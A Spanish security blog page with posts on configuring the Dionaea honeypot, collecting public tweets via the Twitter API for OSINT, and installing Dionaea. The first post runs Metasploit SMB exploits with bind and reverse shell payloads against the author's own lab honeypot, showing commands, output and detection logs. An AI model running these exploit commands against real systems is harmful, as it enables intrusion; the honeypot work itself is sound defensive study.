HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

abril 14, 2015 Deja un comentario

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

“call”: “LoadLibraryA”,

“args” : [

“ws2_32″

],

“return” : “0x71a10000″

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5′ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060′

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Recolección de información con OSINT Parte 1 – Búsquedas en Twitter

abril 9, 2015 1 comentario

Este es el primer articulo de una serie en la que se hablará sobre Open Source Intelligence (OSINT) y cómo escribir scripts en Python que permitan recolectar información de forma automatizada.
OSINT o Inteligencia de fuentes abiertas, representa un proceso estructurado y metódico que permite la búsqueda, selección y categorización de información de dominio público en Internet. Dicho proceso suele ser automatizado por medio de herramientas que consultan y extraen información de foros, redes sociales, sitios web y buscadores en Internet. La cantidad de información que existe actualmente en este tipo de espacios no solamente es enorme, sino que crece constantemente cada día, por este motivo, en los últimos años se han vuelto tan populares algunos servicios en línea para acceder a información pública y han salido varias herramientas para ejecutar procesos de extracción de datos.
En este primer articulo se hablará sobre Twitter y las herramientas que se encuentran a nuestra disposición para extraer información.
Twitter es una red social que según fuentes oficiales, tiene cerca de 240 millones de usuarios y afortunadamente para muchos, cuenta con una API Rest que permite controlar una cuenta y realizar búsquedas muy especificas utilizando varios tipos de filtros. Inicialmente muchas de las funciones definidas en la API se podían invocar directamente sin necesidad de tener una cuenta, pero a partir de la versión 1.1, es necesario contar con una aplicación en Twitter vinculada a una cuenta y una serie de valores que corresponden a los tokens de autenticación Oauth. Sobre esto ya os he hablado en un vídeo de la serie de “Hacking con Python”, concretamente en “Hacking con Python Parte 16 – Twitter desde Python utilizando el protocolo OAuth” http://thehackerway.com/2014/05/20/hacking-con-python-parte-16-twitter-desde-python-utilizando-el-protocolo-oauth/

La API de Twitter cuenta con una lista bastante amplia de funciones que pueden ser invocadas desde cualquier cliente, ya sea un programa desarrollado a medida o incluso un navegador web, ya que al ser una API Rest, utiliza el protocolo HTTP como protocolo de transferencia de datos.
La documentación sobre la API de Twitter se encuentra disponible en el siguiente enlace: https://dev.twitter.com/rest/public
Además de la API Rest, también existen algunas otras librerías como por ejemplo la Streaming API, Twitter Cards y Twitter for websites. Más detalles sobre estas y otras librerías en el siguiente enlace:
https://dev.twitter.com/overview/documentation

Consumiendo la API Rest de Twitter con Python
Los servicios REST pueden ser utilizados con peticiones HTTP estándar y en cualquier caso, si el servicio lo requiere, las peticiones deben contener cabeceras concretas que permitan realizar procesos de autenticación y autorización. Partiendo de esto, existen varias posibilidades para crear un script en Python que pueda consumir un servicio Rest, por ejemplo utilizando el módulo “urllib” incluido directamente en el lenguaje u otras librerías escritas por terceros como es el caso de “urllib3” o “requests”. Todas son alternativas validas, sin embargo, un desarrollador debe intentar no reinventar la rueda y verificar si existen soluciones para un problema e intentar aprovecharlas. En este caso concreto, existen varias librerías que permiten utilizar una cuenta existente en Twitter y consumir todos los servicios disponibles en la API Rest. Dos de las más populares son Tweepy (https://github.com/tweepy/tweepy) y Python-Twitter (https://github.com/bear/python-twitter). Ambas son librerías que cumplen bastante bien con su cometido, sin embargo en este articulo nos centraremos especialmente en el uso de Python-Twitter.
Antes de continuar, es necesario crear una aplicación en Twitter que se encuentre vinculada con una cuenta valida, para ello el lector deberá dirigirse al siguiente enlace: https://apps.twitter.com/. Después de crear su aplicación, debe tomar nota de los siguientes campos:
– Consumer API (API KEY)
– Consumer Secret (API Secret)
– Access Token
– Access Token Secret.
Los cuatro valores saldrán en la pantalla de gestión de aplicaciones de Twitter y en el caso concreto de los campos “Access Token” y “Access Token Secret” se crearán automáticamente pulsando sobre el botón “create my token access”.
Después de tener los valores de autenticación necesarios correspondientes a la aplicación creada anteriormente, el siguiente paso consiste en utilizar la librería para consumir algunos de los servicios REST disponibles en la API de Twitter. Para ello, el primer paso consiste en crear un objeto del tipo “Api”, tal como se enseña a continuación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")

Los argumentos recibidos por el constructor de la clase Api deben coincidir con los valores de autenticación de la aplicación. El nombre de cada uno de los parámetros define claramente cual debe ser su valor.
Si los valores de autenticación son correctos, la instancia de la clase Api contendrá todos los métodos necesarios para consumir los servicios Rest de Twitter. Para conocer detalladamente dichos métodos, se recomienda echarle un vistazo a la clase: https://github.com/bear/python-twitter/blob/master/twitter/api.py
A partir de aquí, se pueden crear scripts que permitan extraer información de interes, como por ejemplo, sacar un listado de personas que siguen y no siguen a la cuenta vinculada a la aplicación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

Por medio de los métodos “GetFriends” y “GetFollowers”, se ha podido extraer un listado del nombre de las cuentas a las que siguen a la cuenta vinculada a la aplicación y las que no.
El siguiente paso puede ser extraer un listado de aquellas cuentas que el usuario en cuestión sigue y que no le siguen a él, así como también aquellas cuentas que el usuario no sigue pero si que le siguen a él.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

notFriendButFollowingMe = [account for account in accountFollowers if account not in accountFriends]
friendButNotFollowingMe = [ account for account in accountFriends if account not in accountFollowers] 

Este tipo de consultas son muy similares a las que aplican servicios como el de http://justunfollow.com/ sin necesidad de darle privilegios a un servicio externo sobre tu cuenta de Twitter.
Este tipo de operaciones son básicas para la gestión de una cuenta en Twitter, pero no se queda ahí, existen varios métodos que permiten acceder a servicios de la API de Twitter para realizar búsquedas en la base de datos de Twitter.
EL siguiente ejemplo, se encarga de extraer los 15 primeros tweets que coincidan con el hashtag “#python”.

import twitter 

apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python")
for result in query:
    print "Tweet: %s " %(result.text)
    print "Creation date: %s " %(result.created_at)
    print "Favs count: %d" %(result.favorite_count)
    print "Language: %s" %(result.lang)
    print "Retweets count: %d" %(result.retweet_count)
    print "Account: %s" %( result.user.screen_name )
    print "\n"

Tras ejecutar el script anterior, los resultados que se imprimen por pantalla se ven claramente en la siguiente imagen.

twitter1

Se puede ver el mensaje, la fecha de creación, número de favoritos, lenguaje, número de retweets y la cuenta del propietario del tweet.
Como mencionaba anteriormente, el valor por defecto de la búsqueda son 15 tweets, tal como se puede apreciar en la documentación relacionada con el servicio “SEARCH” en el siguiente enlace: https://dev.twitter.com/rest/reference/get/search/tweets Sin embargo dicho valor puede modificarse desde la función “GetSearch” del objeto “API”. La siguiente es la estructura del método en cuestión y como puede verse, permite cambiar el valor por defecto de todos los parámetros que admite el servicio REST.

  def GetSearch(self,
                term=None,
                geocode=None,
                since_id=None,
                max_id=None,
                until=None,
                count=15,
                lang=None,
                locale=None,
                result_type="mixed",
                include_entities=None):'

Ahora bien, lo más común en un proceso de OSINT es almacenar dicha información de forma persistente, como una base de datos. En este caso y para mantener la simplicidad del ejemplo, se utilizará una base de datos SQLite, la cual únicamente contendrá una tabla con los tweets. También es necesario aclarar, que en procesos recolección con un volumen de datos alto, lo mejor es utilizar un motor de bases datos relacional (RDBMS) como PostgreSQL, MySQL, Oracle, DB2, etc. Sin embargo, otra solución que últimamente se está imponiendo el uso de soluciones BigData, como es el caso de la implementación Hadoop de Apache. Esto será algo que se tratará en mayor detalle en un próximo articulo.

import twitter
import sqlite3
connection = sqlite3.connect('db.sqlite3')
cursor = connection.cursor()
connection.execute("create table if not exists  TwitterMessages(id integer primary key autoincrement, message varchar(140), account varchar(20),favs integer,retweets integer,langTweet varchar(5), dateMessages varchar (30) );")
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python", count=200)
insert = "insert into TwitterMessages(message, dateMessages, favs, langTweet, retweets, account) values(?,?,?,?,?,?)"
for result in query:
    cursor.execute(insert, (result.text, result.created_at, result.favorite_count, result.lang, result.retweet_count, result.user.screen_name))
connection.commit()

Utilizando la API de Python-Twitter se ha podido recuperar un listado de 200 tweets con el hashtag “#python” y se han almacenado en una base de datos SQLite. Se trata de un ejemplo simple, pero que demuestra la simplicidad con la que se pueden extraer datos de sitios públicos como Twitter.

Un saludo y Happy Hack!
Adastra.

HoneyPots Parte 2 – Introducción a Dionaea

marzo 26, 2015 Deja un comentario

Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.

Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.

El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.

Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:

Conectividad y protocolos soportados por Dionaea

Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.

Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.

 

Intentos de explotación y detección del malware

Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.

Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.

 

Registro y sistema de incidentes

Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.

Instalación de Dionaea

Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.

Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:

git clone git://git.carnivore.it/dionaea.git
			dionaea-git

 

Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.

 

/usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line

/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation

 

En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”

 

../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0

 

Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.

Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.

Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.

> ./dionaea -l all,-debug

 

Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.

>./dionaea -H

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

-c, –config=FILE use FILE as configuration file

Default value/behaviour: /opt/dionaea/etc/dionaea.conf

-D, –daemonize run as daemon

-g, –group=GROUP switch to GROUP after startup (use with -u)

Default value/behaviour: keep current group

-h, –help display help

-H, –large-help display help with default values

-l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix

-L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using –

-u, –user=USER switch to USER after startup

Default value/behaviour: keep current user

-p, –pid-file=FILE write pid to file

-r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite

Default value/behaviour: don’t chroot

-V, –version show version

Default value/behaviour:

-w, –workingdir=DIR set the process’ working dir to DIR

Default value/behaviour: /opt/dionaea

examples:

# dionaea -l all,-debug -L ‘*’

# dionaea -l all,-debug -L ‘con*,py*’

# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid

En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.

Saludos y Happy Hack!
Adastra.

HoneyPots Parte 1 – Kippo

marzo 24, 2015 Deja un comentario

